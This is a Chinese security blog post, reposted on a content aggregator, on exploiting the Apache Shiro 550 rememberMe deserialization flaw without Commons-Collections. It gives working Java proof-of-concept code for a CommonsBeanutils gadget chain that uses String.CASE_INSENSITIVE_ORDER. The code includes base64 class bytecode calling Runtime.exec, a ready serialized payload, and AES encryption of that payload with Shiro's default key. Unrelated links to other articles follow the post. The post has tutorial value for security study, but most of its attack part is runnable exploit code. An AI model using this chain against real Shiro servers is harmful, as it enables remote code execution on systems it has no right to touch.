【java安全】无Commons-Collections的Shiro550反序列化利用

文章目录

    • 【java安全】无Commons-Collections的Shiro550反序列化利用
      • Shiro550利用的难点
      • CommonsBeanutils1是否可以Shiro中?
        • 什么是serialVersionUID?W
      • 无依赖的Shiro反序列化利用链
      • POC

【java安全】无Commons-Collections的Shiro550反序列化利用

Shiro550利用的难点

前面我们学习Shiro反序列化漏洞时,使用了一个简单的shiroDemo,在这个Demo中引入了一些依赖:

  • shiro-core、shiro-web,这是shiro本身的依赖
  • javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖
  • slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
  • commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
  • commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖

前4个都与项目本身有关,如果缺少会导致项目出错。但是第5个只是为了演示漏洞,但是实际情况可能m目标没有安装Commons-Collections依赖,这个时候Shiro550反序列化还能用吗?

我们将演示项目中的Commons-Collections给删除掉,然后刷新maven:

image-20230802202254507

我们发现项目的依赖中有:commons-beanutils ,这说明Shiro是依赖于commons-beanutils

的,那么之前的CommonsBeanutils1能用吗?

CommonsBeanutils1是否可以Shiro中?

启动之前的demo项目,CommonsBeanutils1如下:

public class CommonsBeanUtils1 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{bytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());BeanComparator comparator = new BeanComparator();PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(1);queue.add(1);setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));}
}

将字符串通过key加密:

public class Cipher {public static void main(String[] args) {String s = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAAA5nK/rq+AAAANAAhCgAGABMKABQAFQgAFgoAFAAXBwAYBwAZAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHABoBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWBwAbAQAKU291cmNlRmlsZQEAF0hlbGxvVGVtcGxhdGVzSW1wbC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAEkhlbGxvVGVtcGxhdGVzSW1wbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABAACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEgAEABMADQAUAAsAAAAEAAEAEAABABEAAAACABJwdAASSGVsbG9UZW1wbGF0ZXNJbXBscHcBAHhxAH4ADXg=";byte[] bytes = Base64.getDecoder().decode(s.getBytes());AesCipherService aes = new AesCipherService();byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");ByteSource ciphertext = aes.encrypt(bytes, key);System.out.printf(ciphertext.toString());}
}

点击rememberMe时发送过去,修改rememberMe

发送一个payload,但没有成功:

image-20230802212742058

控制台提示了serialVersionUID

什么是serialVersionUID?W

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的serialVersionUID值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患

所以这里出错的原因就是本地使用的commons-beanutils是1.9.2版本,而Shiro中自带的 commons-beanutils是1.8.3版本,出现了serialVersionUID对应不上的问题

解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本。 更换版本后,再次生成Payload进行测试,此时Tomcat端爆出了另一个异常,仍然没有触发代码执行:

image-20230802213110532

Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

简单来说就是没找到org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于commons-collections。 commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
难道没有commons-collections就无法进行反序列化利用吗?当然有。

无依赖的Shiro反序列化利用链

我们先来看看org.apache.commons.collections.comparators.ComparableComparator这个类在 哪里使用了:

image-20230802213328917

在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator 。 既然此时没有 ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

我们可以找到一个CaseInsensitiveComparator:

public static final Comparator<String> CASE_INSENSITIVE_ORDER = new CaseInsensitiveComparator();private static class CaseInsensitiveComparator implements Comparator<String>, java.io.Serializable {// use serialVersionUID from JDK 1.2.2 for interoperabilityprivate static final long serialVersionUID = 8575799808933029326L;public int compare(String s1, String s2) {int n1 = s1.length();int n2 = s2.length();int min = Math.min(n1, n2);for (int i = 0; i < min; i++) {char c1 = s1.charAt(i);char c2 = s2.charAt(i);if (c1 != c2) {c1 = Character.toUpperCase(c1);c2 = Character.toUpperCase(c2);if (c1 != c2) {c1 = Character.toLowerCase(c1);c2 = Character.toLowerCase(c2);if (c1 != c2) {
// No overflow because of numeric promotionreturn c1 - c2;}}}}return n1 - n2;}/*** Replaces the de-serialized object.*/private Object readResolve() {return CASE_INSENSITIVE_ORDER;}}

这个 CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了 Comparator 和 Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。 我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对 象,用它来实例化 BeanComparator :

final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

POC

最终的CommonsBeanutils1Shiro利用链:

package com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CommonsBeanutils1Shiro {public static void setFieldValue(Object obj, String fieldName, Objectvalue) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public byte[] getPayload(byte[] clazzBytes) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement laterqueue.add("1");queue.add("1");setFieldValue(comparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{obj, obj});
// ==================
// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();return barr.toByteArray();}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/21206.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

整数拆分——力扣343

文章目录 题目描述法一 动态规划法二 动态规划优化法三 数学 题目描述 法一 动态规划 int integerBreak(int n) {vector<int> dp(n1);for(int i2;i<n;i){int curMax 0;for(int j1;j<i;j){curMax max(curMax, max(j*(i-j), j*dp[i-j]));}dp[i] curMax;} return d…

AI赋能转型升级 助力打造“数智辽宁”——首次大模型研讨沙龙在沈成功举行

当前&#xff0c;以“ChatGPT”为代表的大模型正在引领新一轮全球人工智能技术发展浪潮&#xff0c;推动人工智能从以专用小模型定制训练为主的“手工作坊时代”&#xff0c;迈入以通用大模型预训练为主的“工业化时代”&#xff0c;正不断加速实体经济智能化升级&#xff0c;深…

MyBatis的三级缓存

MyBatis的三级缓存 一、什么是MyBatis的三级缓存&#xff1f; MyBatis的三级缓存指的是一级缓存、二级缓存和三级缓存。 缓存是一种提高数据读取性能的技术&#xff0c;在MyBatis中&#xff0c;一级缓存指的是Session缓存&#xff0c;二级缓存指的是Mapper级的缓存&#xff…

变量方法常用命名

文件路径&#xff1a; \src\locales\lang\zh-CN 在多语言应用程序中&#xff0c;通常会将不同语言的翻译文本存储在不同的文件中&#xff0c;这样可以方便地管理和维护多个语言版本。locales目录一般用于存放所有的语言文件&#xff0c;lang目录则用于存放特定语言的文件。 具体…

C语言编程技巧 全局变量在多个c文件中公用的方法

在使用C语言编写程序时&#xff0c;经常会遇到这样的情况&#xff1a;我们希望在头文件中定义一个全局变量&#xff0c;并将其包含在两个不同的C文件中&#xff0c;以便这个全局变量可以在这两个文件中共享。举个例子&#xff0c;假设项目文件夹"project"下有三个文件…

量子机器学习解决方案新鲜出炉!Rigetti和ADIALab签署合作

​ &#xff08;图片来源&#xff1a;网络&#xff09; 近日&#xff0c;美国全栈量子经典计算的先驱Rigetti Computing宣布与阿拉伯联合酋长国的ADIA Lab签署了合作协议&#xff0c;双方将共同设计、构建、运行和优化量子计算解决方案&#xff0c;旨在解决概率分布分类问题&am…

spring通过文件属性注入bean和基于xml的bean的自动装配以及spring-eel表达式的使用加代码合集

&#x1f600;前言 本章是spring基于XML 配置bean系类中第7篇讲解spring通过文件属性注入bean和基于xml的bean的自动装配以及spring-eel表达式的使用加代码合集 &#x1f3e0;个人主页&#xff1a;尘觉主页 &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是尘觉&…

亚信科技AntDB数据库专家出席数据库标准研讨会并参与研讨

2023年7月12日&#xff0c;全国信息技术标准化技术委员会数据库标准工作组&#xff08;SAC/TC28/WG31&#xff09;秘书处组织召开数据库标准研讨会&#xff0c;会议围绕数据库标准工作组2023年上半年开展的标准编制情况进行交流。亚信科技AntDB数据库相关专家出席会议&#xff…

常用Web安全工具

Nessus 号称是世界上最流行的漏洞扫描程序&#xff0c;全世界有超过75000个组织在使用它。该工具提供完整的电脑漏洞扫描服务&#xff0c;并随时更新其漏洞数据库。Kali Linux预装了许多渗透测试软件&#xff0c;包括nmap 、Wireshark 、John the Ripper&#xff0c;以及Airc…

echarts图表渐变色 + 每个柱子不同颜色设置

echarts柱状图&#xff0c;默认所有柱子都是同一个颜色&#xff0c;显示效果差强人意&#xff0c;本文介绍如果修改成为每个柱子添加不同的颜色&#xff0c;以及如何添加渐变色&#xff0c;丰富图表的显示鲜果。先看效果&#xff1a; 每个柱子颜色不同 每个柱子都有自己的渐变…

Redis的缓存穿透、缓存击穿和缓存雪崩

目录 一、解释说明 二、缓存穿透 1. 什么是缓存穿透&#xff1f; 2. 常见的两种解决方案 &#xff08;1&#xff09;缓存空对象 &#xff08;2&#xff09;布隆过滤 3. 编码解决商品查询的缓存穿透问题 三、缓存雪崩 1. 什么是缓存雪崩&#xff1f; 2. 缓存雪崩解决方…

力扣 416. 分割等和子集

题目来源&#xff1a;https://leetcode.cn/problems/partition-equal-subset-sum/description/ C题解&#xff08;思路来源代码随想录&#xff09; &#xff1a; 背包问题有多种背包方式&#xff0c;常见的有&#xff1a;01背包、完全背包、多重背包、分组背包和混合背包等等。…

Prometheus实现系统监控报警邮件

Prometheus实现系统监控报警邮件 简介 Prometheus将数据采集和报警分成了两个模块。报警规则配置在Prometheus Servers上&#xff0c; 然后发送报警信息到AlertManger&#xff0c;然后我们的AlertManager就来管理这些报警信息&#xff0c;聚合报警信息过后通过email、PagerDu…

linux多线程

文章目录 linux多线程1. 相关概念1.1 线程概念详解线程 VS 进程线程的优点线程的缺点线程异常线程用途 1.2 页表详解 2. 线程控制2.0 POSIX线程库深入理解线程库使用C多线程接口在Linux环境创建多线程 深入理解线程id线程局部存储 2.1 线程的创建 - pthread_create线程创建时参…

计算机毕设 深度学习疫情社交安全距离检测算法 - python opencv cnn

文章目录 0 前言1 课题背景2 实现效果3 相关技术3.1 YOLOV43.2 基于 DeepSort 算法的行人跟踪 4 最后 0 前言 &#x1f525; 这两年开始毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的毕设题目缺少创新和亮点&#xff0c;往往达不到毕业答辩的要求&#xff0c;这两…

C++设计模式创建型之单例模式

一、概述 单例模式也称单态模式&#xff0c;是一种创建型模式&#xff0c;用于创建只能产生一个对象实例的类。例如&#xff0c;项目中只存在一个声音管理系统、一个配置系统、一个文件管理系统、一个日志系统等&#xff0c;甚至如果吧整个Windows操作系统看成一个项目&#xf…

LNMP单节点部署

LNMP:是目前一套成熟的企业网站的应用模式&#xff0c;指的是一套协同工作的系统和相关软件。能够提供静态页面服务&#xff0c;也可以提供动态web服务。 L&#xff1a;linux系统 N&#xff1a;nginx网站服务&#xff0c;前端&#xff0c;提供前端静态页面&#xff0c;同时具有…

OC与Swift的相互调用

OC调用Swift方法 1、在 Build Settings 搜索 Packaging &#xff0c;设置 Defines Module 为 YES 2、新建 LottieBridge.swift 文件&#xff0c;自动生成桥 ProductName-Bridging-Header.h 3、在 LottieBridge.swift 中&#xff0c;定义Swift类继承于OC类&#xff0c;声明 obj…

Postgresql源码(109)并行框架实例与分析

1 PostgreSQL并行参数 系统参数 系统总worker限制&#xff1a;max_worker_processes 默认8 系统总并发限制&#xff1a;max_parallel_workers 默认8 单Query限制&#xff1a;max_parallel_workers_per_gather 默认2 表参数限制&#xff1a;parallel_workers alter table tbl …

Linux搭建pikachu靶场(以centos为例)

Linux搭建pikachu靶场 Pikachu是一个使用PHP语言编写的Web漏洞测试靶场。下面是在CentOS 7上安装Pikachu靶场的步骤&#xff1a; 安装LAMP (Linux, Apache, MySQL, PHP) 堆栈&#xff1a; 首先&#xff0c;需要在CentOS 7服务器上安装LAMP堆栈。 安装Apache&#xff1a; yum i…